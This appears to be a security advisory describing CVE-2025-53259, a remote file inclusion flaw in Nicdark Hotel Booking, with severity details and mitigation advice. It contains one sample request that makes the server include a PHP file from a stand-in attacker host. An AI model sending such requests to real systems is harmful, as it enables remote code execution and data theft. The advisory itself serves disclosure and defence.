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CVE-2025-53259: PHP Remote File Inclusion Vulnerability in Nicdark Hotel Booking

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Overview

The cybersecurity landscape is again faced with a potent threat – a PHP Remote File Inclusion vulnerability, identified as CVE-2025-53259. This vulnerability affects users of the Hotel Booking system developed by Nicdark. The issue arises from the improper control of filename for the Include/Require statement in the PHP program. It carries a significant risk due to its potential to compromise systems or lead to data leakage, emphasizing the need for immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-53259
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

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Product | Affected Versions

Nicdark Hotel Booking | Through 3.7

How the Exploit Works

The exploit targets the improper control of filename handling for Include/Require statement in the PHP program. An attacker could manipulate these statements to include files from remote servers. This process, known as PHP Remote File Inclusion (RFI), allows the attacker to execute arbitrary code on the affected application. This could potentially lead to a system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://malicious.example.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the attacker is injecting a malicious PHP file hosted on their server (`http://malicious.example.com/malicious.php`) into the vulnerable application. When the server processes the request, it includes the malicious file, leading to arbitrary code execution.

Mitigation and Recommendations

Users are advised to apply the vendor patch to fix this vulnerability. As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. Regularly updating and patching software, as well as adhering to security best practices, can significantly reduce the risk of such vulnerabilities.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

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